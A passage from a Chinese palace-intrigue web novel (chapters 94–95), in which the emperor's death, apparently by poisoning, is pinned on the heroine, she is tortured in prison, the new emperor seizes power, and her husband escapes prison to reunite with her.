她眼中渐渐泛起了水光,皇帝看着她坚定的神情,颔首应下,“朕允了。” 从那日起,姜秋叶便在皇帝的旨意下,与太医院一同制定治疗药方。淑妃的风寒一直不见好,她便每日三餐准时送药膳至养心殿。 每日到养心殿伺候时,皇帝都会不由自主地说起儿时与季辞的趣事。 没想到皇帝的病症却是愈发严重起来,短短数日,他喉咙处变得肿大,到了如今竟说不出话。太医们束手无策,好在他还能喝下姜秋叶的药膳汤羹。 而皇帝在姜秋叶面前最后一次说话,便是在咒骂季康与季桑两人,不堪大用,根本无法继承大统。一个心狠手辣,太过阴毒。一个单纯天真,太过愚昧。他拒绝了所有皇子的侍疾,就连皇后的面也不愿见。而淑妃也未曾好转,每日躺在永和宫中不能动弹。 看着皇帝每日痛苦万分,抓着嗓子瞪眼,已是许久未能上朝。朝中重臣不安,纷纷上书劝皇帝立梁王季康为储君,却不知为何,他在殿中大怒,竟将那奏折撕毁。 姜秋叶心中也是急切,她还是尝试着改变药方,令她没想到的是,皇帝确实因自己的药方好转些许,能重新发声。 是日,盛京阴雨不断,明明到了春末,却比往年都要冷一些。原本永和宫中开得极为旺盛的桃树,也被这连日的雨水打落了花瓣,浸湿深根。 养心殿内安静异常,小太监们站在殿门口等着伺候,天空的雨滴拍打琉璃瓦顶之上。忽然听闻殿内一声重物倒地的惊响,紧接着李公公连滚带爬地从殿中奔出,竟连带着摔下几个台阶,将衣服剐蹭破开。 他跪在白玉地面上,满脸泪水,大声喊道:“陛下!崩了——” 殿外众人震惊万分,一时间不知做出何反应,直到李公公又大吼了一声:“陛下——驾崩了——” 这时,值守在殿前的禁军才如梦初醒般冲了进去。 皇帝的死讯传入姜秋叶耳中时,她正在往太医院而去的路上,这消息太过突如其来,晴天霹雳,以至于她无法相信。 明明改善药膳之后,皇帝似有好转,能够开口发声。今日清晨她送药膳时,还能自己下地走路。 竟然没过半个时辰,便骤然驾崩。 姜秋叶手上的食盒掉落在地,直接转身往养心殿飞奔而去,不知为何,她眼皮开始猛烈跳了起来。 当她奔至养心殿时,殿门闭锁。各宫妃嫔,以及住在宫中的年幼小皇子们,都跪在殿前大声哭喊着。而有几个没有子嗣的妃子直接哭晕了过去。 历来皇帝驾崩,无子嗣的妃嫔殉葬乃是常规旧制。她们恐怕也想不到,明明皇帝正值盛年,竟会直接因疾而去。 见到淑妃被女官带着,也跪在地上掩面痛哭。姜秋叶想入寝殿看一眼崩逝的皇帝,可见被禁军围住的养心殿,她又停下脚步,便也随着跪到了淑妃身侧。而淑妃似乎情绪有些失控,并未理会自己身旁的她。 不久后,梁王与魏王,一众朝臣也纷纷赶了过来,跪在了前方。 随后李公公理理齐衣冠,在殿前跪下,再次大喊一声“哭踊——”,声声回荡,不绝于耳,众人哭声更甚。 她才终于意识到,皇帝竟然真的死了! 她心中似乎落空,这些时日,她真心希望这个狗皇帝能够痊愈。不知一人在狱中的季辞要是听到这个消息,将会如何。 他定然会难过,那是他的兄长,他再一次失去自己的亲人。 皇后匆匆赶来,已经迟到,却直接带着大理寺的人冲入寝殿之中。 天空的小雨淋湿了姜秋叶的发髻与肩头,不知为何,她看到皇后的模样时,心中不详之感更甚。 直觉告诉她,她似乎应该在此刻离开皇宫,可是想到自己祁王妃的身份,还有依然在狱中的季辞,硬生生将那份直觉压下,与众女眷跪在一起。 片刻后,皇后走出养心殿,四面环视一圈,视线扫过她,不带一丝感情,朝着禁军命令道:“陛下崩逝,封锁盛京!” “祁王妃邱子叶!毒杀圣上,证据确凿,把她拿下——” 94.刑罚(三合一) 第九十四章 诏狱之中,空气中的腐味与潮湿实在令人有些作呕。季辞站立于囚室高窗之下,面朝远处苍穹。 送饭的狱卒走入,将手中的馒头与粥放在中间破烂的案几之上。季辞转身,发现这狱卒身穿素白丧衣,满脸泪痕,不由心头一震。 他两步上前,压平声音道:“发生了何事?” 诏狱中的狱卒小吏对季辞心怀崇敬,从来尽可能不给他缺衣少食,态度也温和顺从。 那狱卒先是看了一眼季辞,而后情绪失控,大声哭泣着跪下,道:“王爷啊,陛下驾崩了!” 他心脏停止了一瞬,似有寒风穿透而过,沉默地看着跪在眼前哭泣的小狱卒,诏狱外的雨明明细小微弱,此刻确实如倾盆一般灌入耳际口鼻,心头躁动,同时又难以呼吸。 须臾之后,他开口问道:“遗诏可出?” “还未。”狱卒哭着摇头哽咽,“太傅等人殿前请遗诏,如今正等内侍监与皇后娘娘那边。” 这些时日,他虽身处牢狱,却也能听得些许外面动向,知皇帝因那喉疾之症而起,又引发一系列症状,病入膏肓。 他闭了闭眼,道:“因疾吗?” 可狱卒的回答却令人吃惊,“并非因疾,而是、而是......”他一瞥季辞神色,结结巴巴,开始犹豫。 “到底因何而崩?” “说是、是祁王妃在药膳中下毒,如今证据确凿,祁王妃已被下入诏狱之中待审。淑妃娘娘也被连累,禁足于永和宫。” “什么?”季辞握拳大惊,“你说王妃此刻在这里?” 他虽知姜秋叶细作身份,可他第一反应便相信,此次绝非姜秋叶所为。如今皇帝病体难愈,身为细作,就算她想要皇帝死,以她的聪慧,也不必急于一时。相比起在此刻下毒以致暴露自己身份,只需等待病症加剧便够了。 对方明显是冲他而来,究竟是谁?如此急切? 皇后? “我要见她。” 狱卒滞住。 “我要见王妃。”季辞又重复了一遍。 狱卒立刻道:“王爷不可,其他事小人可助王爷。可此事是掉脑袋的,皇后娘娘下了死令,弑君之罪,任何人不得探视啊!” 季辞皱眉,一拳头锤在墙壁之上,指节处破了皮,出了血。她曾暗戳戳讽刺过自己懦弱无用,此刻看来,他确是无用至极,非但没能护住她,反而是她,为自己取得一线生机。 “季康。” 他抬头,神情有些不受控制的狰狞,看向小狱卒,道:“去寻梁王,让他救下祁王妃!” …… 姜秋叶来过诏狱门口多次,都是为给季辞送膳,而真正进入诏狱,却是第一次。 她面色忧虑不佳,被狱卒连拖带拉入内,没有做丝毫反抗,只是眯着眼看了看四周通风口唯一透入的一丝光线。 还行,比想象中要好些。 比起飞燕阁完全无光的水牢,此处并不算什么。 想到季辞与她在同一处,似是心脏相连般紧密跳动,她内里忽然多了不少勇气。 她直接被带入了刑房,绑上刑架,手腕,脚腕,和腰部被铁链勒紧。架上的血迹刚被水清理过,还有些冰凉,浸湿了她粉白的丝裙,让她打了个冷颤。 不稍片刻,狱丞和大理丞便来了刑房之中,身着丧衣,面色严肃,在高堂之上坐下。 狱丞蹙着一双浓眉,用力拍案,厉声呵斥道:“邱氏!你可知罪!” 姜秋叶摇了摇头,这一次没有流泪,而是神色淡漠道:“大人,我是被冤枉的。” “冤枉?如今证据确凿,你给圣上的药膳之中被测出了剧毒,而圣上也确实死于此毒,你还有何狡辩?”狱丞用力拍桌,“快交代出指使之人!是祁王?还是淑妃?” 皇帝用膳前,必定会银针试毒,可或许是自己伺候久了,又知自己大限将至,后来她送去的药膳,他便直接拿过服用。若他真死于这药膳中的毒,定然有人利用了皇帝对自己的信任。 她讽刺一笑,“我没甚好说的,我从未给圣上下毒,更别提所谓指使之人。” 那狱丞咬牙切齿,却碍于祁王的脸面,似乎不敢动刑。 身旁的大理丞见状道:“祁王曾指使刺客行刺圣上失败,暴露之后,恐怕死心不改,又指使自己的王妃,利用圣上的信任,毒杀圣上。这么明显,确实没什么好问的。皇后娘娘交代了,让她认罪就行。” 皇后? 姜秋叶忽然想到此前皇帝对皇后态度突如其来的转变,在病重之时甚至将她赶出养心殿。 若是皇后所做,为了让梁王即位,顺便除去祁王,淑妃,和魏王,一箭三雕,那似乎便能说得通了。只是如今皇后掌权,谁也动不了她。 她低头冷笑一声,“都是污蔑罢了!我夫君,对圣上一片赤诚,包括之前行刺一案,三司还尚未定论,你们这群人便想让我将脏水泼给他,真是可笑!” 大理丞听闻后震怒,指着一旁行刑的狱卒道:“此等罪妇!简直巧舌如簧!给我用刑!” “是!” 狱卒上前,用铁链将她脖颈往后一勒,窒息感瞬间直达感官,让她忍不住一呕。而后那狱卒来到她身前,选了一条带着倒刺的辫子,直接用力抽了上去。 姜秋叶闭起眼睛,腹前一凉,紧接着刺痛传来,麻痹全身,忽然无法发声,嘴中充斥着血腥,想要颤抖,身体却被死死固定在木架之上,脖颈处捆绑的铁链让她更加窒息。 第二鞭上去时,她在“啊——”的一声冲口而出,眼珠充血。 她低着头,张嘴大口大口呼吸着,却忍不住勾了勾嘴角。 真是做王妃久了,享尽荣华富贵,过着衣来伸手,饭来张口的日子,忍痛能力也愈发后退。这笞刑,与言无的手段比起来根本不算什么,可不知从什么时候起,她竟然逐渐忘记了曾经数年在肉身上所留下的痛感与恐怖。 明明应该刀刻般印在骨子里,却好似被平日的温暖甜腻所冲淡,以至于如今两鞭子便让她难以承受。 似乎真的想不起来了。 随着那人的面孔愈发清晰,曾经那昏暗的时日,那些心理与身体的折磨便愈发浅淡。 第三鞭下去,木架随着她的身体抖动,也在咯吱作响。身上最喜爱的纱裙也被划破,血迹逐渐漫出。 此时,时间流逝得太过缓慢,也不知还有多少鞭才能结束? 还好,皇帝没有对季辞动用这般刑罚。 …… 已是深更,太极殿之上,却仍然站满了朝臣。众人额头冷汗直流,平日里与祁王交好之人都低着头瑟瑟发抖,不敢直视前方,生怕被牵连。特别是安国公,直接站到了角落中躲了起来。 梁王与魏王神情严肃,分别站在前方两侧。 段太师怒道:“先帝临终之前都未定下储君,怕是自觉病体可康复。却未想到自己竟是被毒杀身亡,我猜,怕根本就没有遗诏!我在此,直接推举梁王殿下为帝!” “没错,无论是立嫡还是立长,梁王都当仁不让!” “我反对!”唐太傅迈步而出,“如今遗诏未出,尔等便开始自行拥护,将先帝之威置于何处?” 段太师讽刺一笑,“呵,唐太傅啊,你说遗诏未出,那也得有这遗诏啊。若是不拥立梁王,难不成拥魏王?” 突然被提及的魏王脑袋一缩,只觉这群大臣凶神恶煞,在加上父皇辞世,心中不安而哀伤,更是不愿说话,将自己当作一只鹌鹑,看着两方舌战。 唐太傅自知魏王非上佳储君之选。可无论是梁王登基,还是从众幼子中选出一人,皇后外戚集团都将把持朝纲,季辞不仅必死无疑,而那这大晋也将危矣! 可若是魏王登基,那他们这群老臣,还有机会教导他,或许可成一代明君。对比起来,还是魏王乃为最上之选。 唐太傅道:“魏王心性纯良,未来必定能成一仁君,只要我等重臣辅政,必也是利万民天下,不枉先帝......” 段太师立即打断唐太傅,道:“唐太傅你何意?魏王心性纯良,难道你意思便是暗指梁王心性不纯?你有本事敢在梁王面前再说一遍此话吗?” “老夫并非此意......” “你不是这意思是何意?” 唐太傅握拳道:“先帝病重期间,曾重责过皇后与梁王,可见先帝对梁王不满!尔等是要辜负先帝一番厚望耶?” “这话好笑了,仅仅斥责罢了,先帝可从未对梁王下过任何责罚旨意!先帝斥责的人多了去了,照你这么一说,咋们满朝文武,怕是都不用做了!” 梁王阴笑着听着下方众人吵得不可开交,他抬眸又扫过一眼满脸不知所措,也插不进话的魏王,讽刺一笑。 没想到最后竟是这个草包与他相争。 想到季辞让狱卒从诏狱中递来的话,心中不由一紧。可是在此关键时刻,他还不能违反母后意愿。 只能让这个漂亮的小偷先吃点苦头,等自己一番,他定然会救她。 不知下方吵了多久,才忽然听到太监一声长吼:“皇后娘娘到——” 原本沸腾的众人瞬间安静下来,看着缓缓走入太极殿的皇后霍氏,一大太监紧随其后,入了上座后,她用力拍桌。 眼光犀利扫向众人,道:“怎么?先帝才刚崩逝半天,你们这群人便吵成这般狗熊模样!是要我大晋分崩离析么?” 唐太傅扯了扯嘴角,低下头不再敢发一言,而段太师则是上前道:“娘娘,国不可一日无君啊!我等皆认为梁王堪登大任。” 唐太傅听闻后抬头狠狠剜了他一眼,“娘娘,我等认为魏王可当大任!” 安国公听闻后,才悄悄挪了两步出来,低声道:“魏王可当,魏王可当。”只不过他声如蚊音,平日又无存在感,没一人理会于他。 皇后在上方却是讽刺一笑,“先帝还未曾发话,你们都当自己是大晋之主了?” 先帝未曾发话? 这是何意? 唐太傅与段太师皆凝眉,神色沉重,难道有先帝遗诏? 皇后一瞥身后的大太监,他立即道:“出遗诏——” 听闻后,全场众人立即下跪,等待听宣。 大太监上前,将一金黄色遗诏举出,展开,高声唱道:“朕以菲薄,嗣承洪业,受皇天之命多年,兢业天下,夙夜靡宁,身患重症。然生之也必死,吾无复世遗憾。” “皇二子,梁王季康,孝友英明,天下归心,即日起,宜登大位,以付祖宗神灵之统......” 朝臣们皆心中震颤,抬头看向最前方的季康。而唐太傅心似坠入了火坑一般,不受控制地一歪。 季康低头,阴鸷一笑,抬头看着正在等待的大太监缓缓起身,接过那遗诏后走向龙椅上转身坐下。霍氏也笑着退到一旁。 空旷的大殿之中,他坐于高处,烛光葳蕤,反射着金壁。有一种强烈的落差陡然袭来,刚才站在下方的梁王,和如今坐于龙椅之上的季康,似是两人。 众人相互对视后,自知已成定局,立刻行向他跪拜大礼,大声唱道:“吾皇!万岁万岁万万岁!” “众卿平身——”季康声线不变,镇定自若。 他看着这宽阔的宫殿,居高临下,又看向一旁喜不自胜,即将成为太后的霍氏,最后低头一笑。 多年苦心,他终于坐上了这个位置,也终于可以将皇后宝座捧到他心心念念的那株食人花面前,任谁也阻止不了他。 至于他曾经最敬重的好皇叔,当然留不得! …… “陛下,按照太后娘娘的要求,犯人如今一直关在刑室中,未转移过。不过这嘴是真硬啊,无论我们怎么用刑,就是死不招供。” 狱丞弯着腰,献媚地讨好着季康,在他的要求下,将腥臭的铁门打开,便见到了依旧挂在刑架上奄奄一息的姜秋叶。 她头发散开,浑身是汗,额前发丝被汗液浸湿,黏在脸颊之上,唇无血色,身上的衣服早被换成了囚服,后来又再次用了刑,囚服也被划破,鲜血渗出,连她纤细的手指如今也不堪入目。 不同于往日灵动之美,如今的她更带着一丝破碎感,用秋日枯黄,轻易便能被碾碎的叶片来形容她,似乎更为恰当。 他让那狱丞离开,走近,离她仅仅一掌距离,细细观察着她。 姜秋叶听到有人入内,又被称作“陛下”,便猜到了是季康。她慢慢睁开眼睛,有些疲累地看着眼前之人,勾唇一笑,声音如丝道:“恭喜陛下,荣登宝座。皇后......不对,如今应已是太后了吧,也替我恭喜她。” 季康讽刺一笑,看向她,“为何不招供?为了皇叔受苦,值得吗?” 她脸色惨白,垂下眼眸。 值得吗? 她不知晓,理智看来,实在不值。可一想到若是季辞因此被严刑所惩,便感心痛不已。 她轻轻摇头,可脖颈上固定住地铁链摩擦着皮肤,让她皱眉,动弹不得。 于是只是轻轻问道:“季辞呢?” 季康因她对季辞的担忧而心感不耐,道:“现如今,还没有皇叔指使你的直接证据,没有对他施刑,只不过仍旧关在诏狱之中。” 姜秋叶重重呼出一口气,“那就好。” 他不似她这般,在言无身边多年接受他的酷刑训练,此等刑罚,对于天人一般的他来说,不应承受。 季康把脸转开,似乎再也看不下去她这副模样,“如今虽未举行登基大典,可朕已是皇帝。把父皇之死,推到季辞身上,我便救你出去,还让你做朕的皇后。” 她一怔,苦笑,若是早几个月前,或许她便如此选了。敢问这世上,还有什么比皇后更能获得庇护与情报的呢? 他注意到姜秋叶脖颈上的铁链让她实在痛苦难受,立即上前将其解开,她总算感受到空气大口涌入,只是原本白皙的皮肤上摩擦除了几道血痕。 姜秋叶沉默一阵,恢复些许力气后,重新看向季康,道:“多谢陛下厚爱,臣妇承受不起。” “为什么?”季康大惊,忍不住吼了出来,“朕如今登上皇位,要什么有什么,你曾经明明渴求的东西,现在放在你面前后,你竟弃之敝履!你就不怕真的死在这诏狱之中?” 她没再发话,闭上了双眼沉默起来。 季康站在原地盯了她许久,呼吸终于平稳,拂袖而去。 出了刑室一段路后,那狱丞开口道:“陛下,此女骨头太硬,咱们这诏狱的诸多酷刑还未用上,是否......” “不许再对邱氏施刑,将她换一间环境好些的囚室,但不能让她见祁王。”他阴森森回道。 那狱丞一愣,见他不爽利的眼神,低下头道了声“是”。 他一边行进,一边勾起唇角笑道:“这些天,找个机会让人给祁王透露一声。邱子叶,即将成为朕的皇后。当然,此事先莫要让太后知晓。” 狱丞如雷贯耳一般,一时间不知如何反应,他实在没想到,这个阶下囚,祁王妃,竟然被新帝所看上。 直到季康停下脚步,黑眸看回狱丞后,他才如梦初醒,“是、是,臣明白了。” …… 季辞听闻此消息时,是狱卒送膳之时。 送膳的小狱卒不再是之前那人,而是换了一他从未见过之人。态度恭敬无比,甚至带了茶为他添上。 在瞥他许久后,季辞心觉不对,才问道:“发生了何事?有话便说。” “是、是关于祁王妃。”那人说话结结巴巴,看起来像是个胆小之人。 季辞指尖一颤,他知晓姜秋叶入狱后,必定会对她动刑,而唯一能救她之人,便是新帝季康。也只有季康,才能遏制太后。 他压下心中疑惑,担忧不已,“她怎么了?” “啊,王爷放心,祁王妃虽受了刑,可如今已无碍。”他吞下大把口水,“祁王妃,她其实很快便能出狱,成为......成为皇后。” “知道了,你出去吧。” 季辞冷淡的反应竟不在他预料之中,他犹犹豫豫起身,一步三回头偷看季辞表情,见始终毫无变化,才终于离去。 直到囚室完全空下来后,季辞才面无表情端起案上的茶缓缓饮下,只有他心知此刻愤怒,用力之猛,竟“啪”一声将茶杯在手中捏碎。 他手一疼,低下头才发觉已经被瓷片划破了掌心。 他一直都知,叶儿很早便对那后位有心,不是吗? 他的叶儿对自己从来满口谎言,亦不爱他。对着季康,反而从来不加掩饰。如今不仅有了做皇后的机会,还有了出狱的机会。 当初他让人去给季康传话,不早就料到了么? 只是心口的钝痛还是让他深感无力,手上的伤口竟无法将其掩去。 他的叶儿,很快便不再是他的王妃。 …… 离登基大典还有五日,不知何原因,北衙左右神武军竟从昨日开始大肆抓捕宫女,并将所有的先帝妃嫔都集中到了一处。众人整夜不眠,惶惶不安,看着身旁一个个小宫女被拖了出去,施以杖刑,惨叫不绝,惹得所有人瑟瑟发抖。 有先帝的一个才人道要小解,试图出去,神武军甲卫不允,她生气起来,便试图强行冲破,最后竟直接被下令抹了脖子。 见此行径,众人一声大叫。原本怨声载道的妃嫔们都不敢再多言一语,只能瑟缩着,偶然瞥到那倒在地上的才人尸体,死不瞑目,瞪眼看着她们。 而太后霍氏也被禁足在了自己宫中,她朝着外面甲卫大骂,看着自己宫中所有的宫女都被拖了出去,心中越是惶恐不安。 季康究竟要做何? 竟一句也不告知于她,便直接在宫中大施刑罚。 一直到翌日下午,看着平日跟在自己身边的小宫女,浑身是血,被禁军拖入了殿内,扔至她的门前。 霍氏大惊,“你们作甚?这是何意?连本宫的人你们也敢随意动?” 季康闲庭信步步入殿内,看着满脸怒意的太后霍氏,又看着地上奄奄一息的小宫女,面上做出忧伤神色,叹息道:“母后啊,朕实在痛心,没想到,没想到......” “什么意思?”霍氏心底忽然发颤,竟开始惧怕起,本以为是傀儡的儿子。 季康闭了闭眼,而后睁开,满是痛意道:“母后,此女已招供,竟是母后指使她,暗中在祁王妃邱氏所制药膳中下了毒,才导致先帝崩逝。” “什么?不可能!是冤枉的,是这贱婢冤枉于我!”皇后不可思议大喊,“季康,我是你母后啊,你怎能做出如此陷害的不义之举!” 季康转身让所有人退下,同时带走了已经无法发声和动弹的宫女,待寝殿空荡之后,才悠悠上前,脸上痛意消失,只剩下一讽刺,“母后?太后娘娘,您当初养我究竟是为何?” “什么?” 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季康接过,看着她道:“如今人证物证俱在,太后娘娘还有何可狡辩?” 她低头看着季康手中的木盒,摇头道:“这是何物?为何出现在哀家殿中?哀家不认识此物!” “太后娘娘怎会不识,这便是用来毒害先帝的牵机啊。” “这不是哀家的!哀家从未见过此物!都是污蔑!是污蔑!” 季康却不想听其解释,只是让人将霍氏带走,她被两名甲卫从地上托起,用力挣扎,不服道:“霍甬即将入京,此时将哀家下入狱中,你不怕......” 他忽然打断霍氏,痛心道:“怀化大将军,在领一小队轻骑在回京途中,竟不慎滚落山崖,直接身死。朕心甚痛,已命人将其遗体带回,待先帝丧礼过后,便会为其举办丧事。太后娘娘莫要担心。” “你说什么?霍甬、霍甬死了?”她眼神直勾勾看着季康,片刻沉吟后,忽然大叫道:“季康!你这逆子!原来皆是你,你竟谋划至此,不惜弑父,污蔑自己母后,还杀害霍甬,天雷劈你。” 季康闭着双眼仰面,没让任何人进入,只一人站在原地,听着霍氏对自己的咒骂声逐渐消失,这才睁开有些猩红的双眼,看着已经空荡的寝宫,四处被翻倒得乱七八糟。 他定了定,最后朝着霍氏被带走的方向,深深鞠躬,维持这动作许久,直到腰部发麻,才终直起了身。 走出宫殿,外面更加宽阔,风有些大,吹乱了青丝,虽早已做好准备,却仍是心中纷乱。从小到大,这个所谓的母后,对他根本没有母子之情。幼时不愿相信,可随着自己长大,才慢慢深知,原来她心中,只有权势地位。 而他,不过是一个低贱宫女所生的野种。霍氏眼中长久的恨意,他看得清清楚楚,到了此刻,终于结束。 他转身看了一眼曾经年少时居住的宫殿,最后头也不回离开,内侍很快从一旁跟上他的步伐,他低声道:“祁王妃邱氏嫌疑洗脱,将人给朕带来,让她住去......椒房殿,让太医好好为她治伤,并看牢了。” “是,陛下!” …… 先帝崩逝,丧仪等一切繁文缛节由礼部操持。民间皆为其服国丧,无作乐,嫁娶,屠宰。先帝谥号为晋肃帝,登基大典之后,便是丧葬,入皇陵。 而曾经的梁王妃被封贵妃,居住长春宫。 此举自然引来了朝臣众怒,特别是一直扶持季康的段太师,本以为自己女儿正妻身份,怎么也应是皇后,却只得来个贵妃。 这本不符合礼教,却被季康雷霆手段压制下来。所有人都搞不懂皇帝究竟何意之时,祁王妃入椒房殿之事被传了出去,更是令众人大惊。 椒房殿是中宫皇后居所,皇帝此举难不成是夺自己皇叔之妻?此等有违伦理道德之事,更加受到重臣反对。 季康手段狠辣,众人拿他毫无办法,只能暗中怒骂妖女祸国。 姜秋叶被从刑房带出到囚室时已无丝毫力气,她感到似乎没过几日,便直接被人带出了诏狱。本以为上一番对季康的拒绝能让他死了心,却未想到她竟直接入了椒房殿。身体的伤还未痊愈,皇宫守卫森严,便在此地暂时安顿下来。 先将伤养好再说,恢复了体力,想跑出去也是轻而易举之事。 只是她试图向宫女打听季辞,却无人告诉她任何关于他的消息。嘴闭得如此之严,想必定是季康下了封口令。 不过倒是听闻太后霍氏,毒害先帝,已被捕入狱,判下死刑,即日问斩。 宫中膳食俱佳,平日里大鱼大肉伺候,她也是来者不拒。偶尔季康来殿中探望姜秋叶,却奈何她从不给他好脸色。 正值最浓雨季之时,邱颖入了一趟椒房殿,说是探望姐姐。 她如今随着月份,肚子也大了起来,姜秋叶见到她的模样时,心感神奇。 她轻轻抬手抚上邱颖的肚子,忽而手心一跳,她顿时一惊躲开,看向邱颖,只见对方微微一笑道:“是孩儿踢你了。” “他踢我?那你肚子会疼吗?”姜秋叶第一次经历此番感觉,知觉神奇至极。 邱颖捂着嘴摇了摇头,道:“还行。为母则刚,我也是真正当了母亲之后,才真正了解了这话。平日里有时手脚虚浮发肿,可想到孩儿即将诞生,便觉得这些苦也值得了。” “那我能再摸摸吗?” “自然可。” 姜秋叶再一次轻手放上,小心翼翼的模样浮于表面,生怕多用了几分力气,便伤了邱颖。 想到这些时日,她一直希望能为季辞生下一个儿子,却始终无动静,本是着急不已。如今看来,若有孩子,以他们的处境,那是会害了他。 想到此她不由叹息了一声,问道:“何时生产啊?” “得等到六月吧。”邱颖抚着肚子看向支摘窗外,雨雾弥漫,“如今父亲因为近日这些事儿,真是急白了头。好在当今圣上似乎并未把安国公放在眼里,便没有如同其他支持祁王的朝臣一般被剪除。” 姜秋叶咬着唇,看着她的肚子,喃喃道:“是我连累了你们。” “何来连累之说?”邱颖摇了摇头,脸上浮现一丝笑意。 她忽然想到什么,突然问道:“姐姐,如今你住在这椒房殿中,难道......真的要成为皇后了?” “自然不会,不过是在此处养伤罢了。” 邱颖呼出一口气,悄悄瞥着她,似乎有些欲言又止。 “怎么了?” 姜秋叶顿了顿,而后看向殿中众宫女,挥手让她们全部退下。宫女们左看右看,最后退至殿外守着。 “姐姐。” 邱颖有些纠结,又转头看了一眼四周,终于下定决心道:“姐姐,圣上已经下了旨,祁王......不对,季辞刺杀晋肃帝证据确凿,即日起贬为庶人。春后,将斩首示众于菜市口。王府一干男丁同罪问斩,女眷流放邕州为奴。” “什么?”姜秋叶大惊失色,手中的茶杯忽然掉落地上碎裂。 她知晓季康上位之后,曾经从晋肃帝那里求来的重审将不复存在。或许会对季辞处以流放封地的处罚,没想到竟然直接问斩,还牵连这么多人,如此大施酷刑。 看着她不断发抖的身体,邱颖心中担忧,“姐姐,你还好吗?” 她抓住姜秋叶的手,忽然语重心长道:“姐姐,虽然王府一干人被处以死刑,可对你却没有任何旨意。姐姐,或许你可以趁此机会抓住当今圣上。若真的做皇后,也没什么不好的,不过就是些朝臣口舌罢了。” 姜秋叶此时恨不得将季□□吞活剥,可那人已然登上皇位,此番情况,还有何法能救下季辞? 她脑中转得飞快,忽然响起曾经晋肃帝在自己面前大骂,梁王魏王皆非继任大统之人。 可此话只一笔带过,且她一人所闻,怕是也无甚大用。 难道只剩下强行劫狱? “姐姐?”邱颖喊了她好几声,她才终于回过神。 “我知道了,你先回去吧。今日之后,我们便暂时先不要接触,你在家中好好养胎,莫要过于忧心。圣上不会动安国公府的。” 她如今很清楚季康对自己的情,或许在她看来不是真正的爱意,却带有浓浓占有和征服。因她的关系,他对祁王府下狠手,却不会对安国公府下手。 …… 送走邱颖之后,姜秋叶便坐在殿门口,望着外面从不停歇的雨,伸出手,几滴豆大的雨点打落在她手心,带着一丝凉意。 她思考了一个下午,却也找不到最好的方法,最后晚间只能熄灯入寝。 也不知他此刻在做甚,是否在那铁窗之下,与她看着同一个月亮。 自与季辞分离,她心中总是空荡。椒房殿巨大的床榻,都无法让她安寝,夜色深沉,她紧闭双眼。 忽然,她耳朵动了动,似乎感觉到有人潜入宫殿之中,带着极轻的脚步。 她装作一副深睡的模样,感受到那人轻手轻脚地来到自己面前,目光盯紧了她。 正在这时,她忽然睁眼,夜色太黑,什么也看不清,但敏锐的感官让她知晓此人所在位置,便朝着他出掌而去。 没想到竟是早有准备一般,他微微侧身躲过了她的掌风,竟直接伸手捂住了她的嘴。 一阵淡淡的佛手柑气息袭来,她心猛然间狂跳起来,眼中瞬间涨红,漫出了一丝水光。 是他,他竟来寻她了! 95.猜测 第九十五章 屋外入夜后便停了雨,只有偶尔零星的滴答声。 她在夜中,眼睛直勾勾地看着前方不见五指的漆黑。立刻收回自己的掌,双手用力抓住捂住她嘴的那只手,摩挲着,骨指分明,带着一丝凉意,她开始嘤嘤低泣着。 她太想哭了。 她太怀念了。 这是简兮哥哥的味道,夫君的温度。 这些时日,她孤独至极,即便她看起来冷静淡然,却心中害怕。在闻到他气味之时,记忆如泄出的洪水一般涌来,似乎又寻到了依靠,她不再是一个人战斗。 许久之后,见她不再有挣扎的动静,季辞才缓缓松开了他的手。 就这弹指间,她飞速起身,扑上前死死抱住他的腰,用力收紧手臂,将脸埋在他的胸口深吸一口气,耳边是剧烈而有节奏的心跳。 才终于确定,真的是他,她不是在梦中。 季辞没有立刻回抱她,直到姜秋叶轻唤了一声:“简兮哥哥,叶儿好想你。” 他顿了许久后,终于抬起手,轻轻抚着她的脊背。 直到黑幕上的乌云散开,露出了月光,姜秋叶才抬头,终于看清了季辞的黑眸。她再也忍不住眼眶中的泪水,直接全部涌了出来,却不敢发声惊动外面的宫女与侍卫。 他落坐在床边,抬手拂去她眼角的泪珠,又揉了揉她头顶的乌发,熟悉的声音低沉着进入她的耳畔,“叶儿乖,这些时日,辛苦你了。” 此话一出,原本还稍微能压制的情绪终于崩裂,她压着声音大哭,再次上前抱住他,似是害怕幻影消失一般。 她哭了很久,季辞胸前的衣襟湿了一大片,他便一直拍着她的后背安慰,最后轻轻抬起她的下巴,看着满脸的泪渍,还是叹息一声,吻上了她的唇。 这就像是某种机关,在触碰的瞬间,万箭齐发,正中他心脉。 久违的美味,柔软清甜,在口中吞吐翻涌,酥麻震颤。随着吻逐渐加深,她不受控制般在他怀中一颤,他捏紧了她的肩,似要吞入腹中。 虽然他无数次暗示过自己,她放弃自己,成为季康的皇后是最有利的选择。远远比跟在他这个不知未来的罪人身边,风险要小得多。 可是当真正触碰到她时,他忽然心生懊悔,他始终还是放不开她。最终,他还是愿意去放手一搏。 月影疏离,此时他们紧紧贴合,不留一丝缝隙。她只感觉身体发软,倏然溺毙在这个猛烈的吻中。 季辞吻着她,□□攀升,又将她压上床榻,又吻过她的耳垂,脖颈。滚烫的双手划过轻薄的衣料,留下一丝热量,正想解开她衣服的系带时,她却忽然伸手死死抓住。 他不明所以,撑起身,有些许失落,以为她心中还是更想做那皇后,便不愿跟自己有过多接触。虽是失落,却没多说什么,只是顺从地放开她坐起身。 姜秋叶敏锐地察觉到他情绪的变化,知晓定是他误解自己,跟随着起身,忐忑道:“夫君,我如今……身上不好看,等过些日子,再给夫君看,好吗?” 季辞滞住,他知她在诏狱中曾受刑伤,却未曾想到她如此在意身上留下的那些痕迹。 他心中更是爱怜与心疼,想到平日她打扮得花枝招展的模样,如今却是素净白衣,最终还是选择尊重,收回了想看她那身伤痕的心,颔首道:“好,等你愿意给我看时,我再看。” 姜秋叶欣喜点头,紧紧拉住他的手,忽然好奇道:“夫君,诏狱之中,守卫如此森严,你究竟如何出来的?” 季辞道:“嗯......挖了条道。” 姜秋叶:“......“ 他看她呆傻模样忍不住一笑,“别忘了,我对诏狱很熟。” 他反握住她的手,“是我手底培养的一批暗卫,在季康下诏之后,便从外向内挖了条暗道,将我救出。” “暗道!那如今诏狱还多了条暗道了!” 好质朴的方式...... “嗯。”季辞转移开他的视线,似乎不愿与她多说此事,只是眼神黯淡,“对不起叶儿,是为夫没用,不仅让你受了苦,还为我如此奔走。” 屋外雨后的干净的风顺着支摘窗的缝隙吹入殿内,姜秋叶几缕长发浮起,挡住视线,她伸手捋了捋,而后又摇头。 